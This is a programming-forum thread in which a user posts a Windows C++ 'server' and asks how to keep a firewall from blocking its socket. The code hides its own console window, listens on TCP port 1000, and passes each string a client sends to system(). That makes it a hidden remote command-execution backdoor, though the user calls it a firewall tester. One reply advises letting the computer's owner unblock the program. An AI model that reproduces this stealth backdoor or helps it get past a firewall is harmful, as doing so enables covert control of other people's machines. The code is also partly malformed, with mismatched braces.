Firewall blocking sockets

[TheBeast32]

Hi, i have been making a program that tests a computer owner's firewall. It gets input from the client i made, and does a system() with it. Is there any way to make the firewall not block the program right when i make a scocket?
Oh, im using Dev-C++ 4.9.9.2 also.

Here's my code for my server so far:

#include <windows.h>
#include <winsock2.h>
#include <stdio.h>
#include <stdlib.h>
#include <iostream>

int main(int argc, char *argv[]){
   
   // Create Stealth
   HWND hWnd;
   AllocConsole();
   hWnd = FindWindow("ConsoleWindowClass", NULL);
   ShowWindow(hWnd, 0);
   // Done!
   
	WSADATA t_wsa; // WSADATA structure
	WORD wVers; // version number
	int iError; // error number
	wVers = MAKEWORD(2, 2); // Set the version number to 2.2
	iError = WSAStartup(wVers, &t_wsa); // Start the WSADATA 

if(iError != NO_ERROR || iError == 1){
		MessageBox(NULL, (LPCTSTR)"Error at WSAStartup()", (LPCTSTR)"Server::Error", MB_OK|MB_ICONERROR);
		WSACleanup();
		return 0;
}

if(LOBYTE(t_wsa.wVersion) != 2 || HIBYTE(t_wsa.wVersion) != 2){
    MessageBox(NULL, (LPCTSTR)"Error at WSAStartup()", (LPCTSTR)"Server::Error", MB_OK|MB_ICONERROR);
		WSACleanup();
		return 0;
}

SOCKET sServer;
	sServer = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
	if(sServer == INVALID_SOCKET || iError == 1){
		MessageBox(NULL, (LPCTSTR)"Invalid Socket!", (LPCTSTR)"Server::Error", MB_OK|MB_ICONERROR);
		WSACleanup();
		return 0;
}

SOCKADDR_IN sinServer;
	memset(&sinServer, 0, sizeof(sinServer));
	sinServer.sin_family = AF_INET;
	sinServer.sin_addr.s_addr = INADDR_ANY; // Where to start server?
	sinServer.sin_port = htons(1000); // Port 

if(bind(sServer, (LPSOCKADDR)&sinServer, sizeof(sinServer)) == SOCKET_ERROR){
		/* failed at starting server */
		MessageBox(NULL, (LPCTSTR)"Could not bind the server!", (LPCTSTR)"Server::Error", MB_OK|MB_ICONERROR);
		WSACleanup();
		return 0;
}

while(listen(sServer, 20) == SOCKET_ERROR){
    Sleep(10);
}

MessageBox(NULL, (LPCTSTR)"Waiting for a Client!", (LPCTSTR)"Server::Success", MB_OK);

    int MaxCmds = 100;
    int NumOfCmds = 0;
  while (NumOfCmds < MaxCmds)
  {
        
    SOCKET sClient;
    int szlength;
	szlength = sizeof(sinServer);
	sClient = accept(sServer, (LPSOCKADDR)&sinServer, &szlength);
	
	if (sClient == INVALID_SOCKET){
		MessageBox(NULL, (LPCTSTR)"Could not accept this client!", (LPCTSTR)"Server::Error", MB_OK|MB_ICONERROR);
    closesocket(sServer);
		WSACleanup();
		return 0;
	} else {
    MessageBox(NULL, (LPCTSTR)"Accepted a Client!", (LPCTSTR)"Server::Success", MB_OK);
}

    // Now we can send/recv data!
	int iRet;
	char buffer[200];
	strcpy(buffer, "Welcome to our Server!\0");
	iRet = send(sClient, buffer, strlen(buffer), 0);
	if(iRet == SOCKET_ERROR){
		MessageBox(NULL, (LPCTSTR)"Could not send data!", (LPCTSTR)"Server::Error", MB_OK|MB_ICONERROR);
		closesocket(sClient);
    closesocket(sServer);
		WSACleanup();
		return 0;
}

char autoresponse[80];
	int bytes;
	strcpy(autoresponse, "Message Received!");
	autoresponse[strlen(autoresponse)-1] = 0;
	MessageBox(NULL, (LPCTSTR)"Server is ready for messages and is hiding!", (LPCTSTR)"Server::Success", MB_OK);
	char *cClientMessage;
	cClientMessage = new char[600];

// Enter the message loop
while(bytes = recv(sClient, cClientMessage, 599, 0)){
    if(bytes < 1){
    iRet = send(sClient, buffer, strlen(buffer), 0);
    if (iRet == SOCKET_ERROR)
    {
    MessageBox(0, "Lost connection with client","Server::Error",0);
    szlength = sizeof(sinServer);
	sClient = accept(sServer, (LPSOCKADDR)&sinServer, &szlength);
    }
      Sleep(300);
      continue;
    }
    
   system(cClientMessage);

   for (int x = 0; x < 600; x++)
   {
       cClientMessage[x] = NULL;
   }
   
         Sleep(300);
		iRet = send(sClient, autoresponse, strlen(autoresponse), 0);
		if(iRet == SOCKET_ERROR){
			MessageBox(NULL, (LPCTSTR)"Could not send response!", (LPCTSTR)"Server::Error", MB_OK|MB_ICONERROR);
			closesocket(sClient);
	    closesocket(sServer);
			WSACleanup();
			return 0;
}
}
		delete [] cClientMessage;
		cClientMessage = new char[600];
	  cClientMessage[599] = 0;
		Sleep(100); // Don't consume too much CPU power.

delete [] cClientMessage;
	// Cleanup
	closesocket(sClient);
	closesocket(sServer);
	// Shutdown Winsock
	WSACleanup();
	return 0;

}
}

Well, you could do that programmatically, but you will need administrative priviledges for that. Wouldn't it be easier to let the user unblock the application by his own accord? After all it is his computer, and it only takes one click of a button.
